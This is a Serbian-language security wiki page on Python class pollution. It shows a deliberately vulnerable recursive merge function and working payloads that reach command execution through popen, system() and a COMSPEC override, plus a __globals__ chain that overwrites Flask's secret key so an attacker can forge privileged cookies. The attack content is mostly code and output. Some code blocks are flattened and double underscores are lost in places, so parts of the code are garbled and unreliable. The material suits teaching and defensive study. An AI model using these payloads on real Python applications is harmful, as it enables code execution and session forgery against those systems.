Class Pollution (Python's Prototype Pollution)
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Osnovni primer
Proverite kako je moguće zagađivati klase objekata sa stringovima:
class Company: pass
class Developer(Company): pass
class Entity(Developer): pass
c = Company()
d = Developer()
e = Entity()
print(c) #<__main__.Company object at 0x1043a72b0>
print(d) #<__main__.Developer object at 0x1041d2b80>
print(e) #<__main__.Entity object at 0x1041d2730>
e.__class__.__qualname__ = 'Polluted_Entity'
print(e) #<__main__.Polluted_Entity object at 0x1041d2730>
e.__class__.__base__.__qualname__ = 'Polluted_Developer'
e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'
print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
print(c) #<__main__.Polluted_Company object at 0x1043a72b0>Osnovni primer ranjivosti
# Initial state
class Employee: pass
emp = Employee()
print(vars(emp)) #{}
# Vulenrable function
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
USER_INPUT = {
"name":"Ahemd",
"age": 23,
"manager":{
"name":"Sarah"
}
}
merge(USER_INPUT, emp)
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}Primeri uređaja
Kreiranje podrazumevane vrednosti svojstva klase za RCE (subprocess)
```python from os import popen class Employee: pass # Creating an empty class class HR(Employee): pass # Class inherits from Employee class class Recruiter(HR): pass # Class inherits from HR class
class SystemAdmin(Employee): # Class inherits from Employee class def execute_command(self): command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there' return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
def merge(src, dst):
Recursive merge function
for k, v in src.items(): if hasattr(dst, 'getitem'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
USER_INPUT = { "class":{ "base":{ "base":{ "custom_command": "whoami" } } } }
recruiter_emp = Recruiter() system_admin_emp = SystemAdmin()
print(system_admin_emp.execute_command()) #> [!] Executing: "echo Hello there", output: "Hello there"
Create default value for Employee.custom_command
merge(USER_INPUT, recruiter_emp)
print(system_admin_emp.execute_command()) #> [!] Executing: "whoami", output: "abdulrah33m"
</details>
<details>
<summary>Zagađivanje drugih klasa i globalnih promenljivih kroz <code>globals</code></summary>
```python
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class User:
def __init__(self):
pass
class NotAccessibleClass: pass
not_accessible_variable = 'Hello'
merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())
print(not_accessible_variable) #> Polluted variable
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>Proizvoljno izvršavanje podprocesa
```python import subprocess, json
class Employee: def init(self): pass
def merge(src, dst):
Recursive merge function
for k, v in src.items(): if hasattr(dst, 'getitem'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
Overwrite env var "COMSPEC" to execute a calc
USER_INPUT = json.loads('{"init":{"globals":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value
merge(USER_INPUT, Employee())
subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
</details>
<details>
<summary>Prepisivanje <strong><code>__kwdefaults__</code></strong></summary>
**`__kwdefaults__`** je poseban atribut svih funkcija, prema Python [dokumentaciji](https://docs.python.org/3/library/inspect.html), to je "mapiranje bilo kojih podrazumevanih vrednosti za **samo-ključne** parametre". Zagađivanje ovog atributa nam omogućava kontrolu podrazumevanih vrednosti samo-ključnih parametara funkcije, to su parametri funkcije koji dolaze posle \* ili \*args.
```python
from os import system
import json
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class Employee:
def __init__(self):
pass
def execute(*, command='whoami'):
print(f'Executing {command}')
system(command)
print(execute.__kwdefaults__) #> {'command': 'whoami'}
execute() #> Executing whoami
#> user
emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())
print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
execute() #> Executing echo Polluted
#> PollutedPrepisivanje tajne u Flask-u preko više fajlova
Dakle, ako možete izvršiti klasnu zagađenost nad objektom definisanim u glavnom Python fajlu veba ali čija je klasa definisana u drugom fajlu od glavnog. Jer, kako biste pristupili __globals__ u prethodnim payload-ima, morate pristupiti klasi objekta ili metodama klase, bićete u mogućnosti da pristupite globalima u tom fajlu, ali ne i u glavnom. Stoga, nećete moći pristupiti Flask globalnom objektu koji je definisao tajni ključ na glavnoj stranici:
app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'U ovom scenariju vam je potreban uređaj za pretraživanje datoteka kako biste došli do glavne datoteke da biste pristupili globalnom objektu app.secret_key kako biste promenili Flask tajni ključ i bili u mogućnosti dosegnuti privilegije znajući ovaj ključ.
Payload poput ovog iz ovog writeupa:
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_keyKoristite ovaj payload da promenite app.secret_key (naziv u vašoj aplikaciji može biti drugačiji) kako biste mogli da potpišete nove i privilegovane flask kolačiće.
Pogledajte takođe sledeću stranicu za više samo za čitanje gedžeta:
Python Internal Read GadgetsReference
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